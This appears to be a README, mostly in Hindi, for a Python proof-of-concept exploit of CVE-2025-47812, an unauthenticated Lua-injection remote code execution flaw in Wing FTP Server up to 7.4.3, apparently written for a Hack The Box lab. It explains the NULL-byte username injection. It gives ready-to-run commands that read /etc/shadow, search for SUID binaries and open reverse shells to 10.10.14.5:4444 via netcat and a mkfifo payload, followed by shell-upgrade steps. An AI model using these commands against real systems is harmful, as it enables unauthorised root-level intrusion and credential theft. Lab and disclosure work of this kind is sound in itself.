
CVE-2025-47812 Poc wingdata HTB के लिए
Wing FTP Server ≤ 7.4.3 में बिना प्रमाणीकरण के Lua-इंजेक्शन RCE के लिए Python एक्सप्लॉइट। शेल डिलीवरी के लिए डिज़ाइन किया गया — check से एक कमांड जो कार्यशील netcat कॉलबैक तक ले जाता है।
कुछ समय पहले HTB पर wingData लैब के लिए लिखा गया था और अब ओपन-सोर्स किया गया है। केवल उन सिस्टमों के विरुद्ध उपयोग करें जिनके आप मालिक हैं या जिनके परीक्षण की लिखित अनुमति है।
Wing FTP का c_CheckUser() प्रमाणीकरण के लिए पहले NULL बाइट पर username को काट देता है, लेकिन सत्र-निर्माण पथ पूर्ण असंशोधित उपयोगकर्ता नाम को Lua सत्र फ़ाइल में लिखता है। anonymous%00]]<lua>-- इंजेक्ट करें और सर्वर खुशी-खुशी आपके Lua को सत्र में लिखता है। किसी भी प्रमाणित एंडपॉइंट (dir.html काम करता है) को हिट करने पर वह सत्र फ़ाइल loadfile() → f() के माध्यम से लोड होती है, और इंजेक्ट किए गए कोड को root / SYSTEM के रूप में निष्पादित करती है।
प्रभावित: Wing FTP Server ≤ 7.4.3. 7.4.4 में ठीक किया गया।
pip install requests
बस इतना ही — कोई अन्य निर्भरता नहीं।
# 1. Confirm the target is vulnerable (runs `id` and checks for `uid=`)
python3 exploit.py -u http://target:5466/ check
# 2. One-off command — captures stdout AND stderr
python3 exploit.py -u http://target:5466/ exec "id"
python3 exploit.py -u http://target:5466/ exec "cat /etc/shadow"
python3 exploit.py -u http://target:5466/ exec "find / -perm -4000 2>/dev/null"
# 3. Reverse shell (the easy path)
# Terminal 1:
nc -lvnp 4444
# Terminal 2:
python3 exploit.py -u http://target:5466/ shell 10.10.14.5 4444
# 4. Detached arbitrary payload — fire-and-forget. Useful when bash is missing:
python3 exploit.py -u http://target:5466/ detached \
"rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f"
http://target:5466/login.html आज़माएं।shell मोड कॉलबैक प्राप्त नहीं करता है, तो उपरोक्त mkfifo पेलोड के साथ detached पर वापस जाएं। कुछ न्यूनतम Linux इमेज bash शिप नहीं करती हैं।python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
# Enter, Enter
export TERM=xterm
केवल शैक्षिक उपयोग और अधिकृत सुरक्षा परीक्षण के लिए। जिन लक्ष्यों पर आप इसे इंगित करते हैं, उनके लिए आप जिम्मेदार हैं।
MIT — देखें LICENSE।
| Flag | Default | Purpose |
|---|
-u, --url | required | लक्ष्य आधार URL — Wing FTP आमतौर पर :5466 (HTTP) या :5467 (HTTPS) पर सुनता है। |
-U, --username | anonymous | NULL बाइट से पहले उपयोगकर्ता नाम। डिफ़ॉल्ट इंस्टॉल पर Anonymous काम करता है। |
-P, --password | empty | इंजेक्शन POST के लिए पासवर्ड। Anonymous के लिए खाली ठीक है। |
-v, --verbose | off | Lua पेलोड, हिट किए गए URL और कच्चे प्रतिक्रिया बॉडी को डंप करता है। |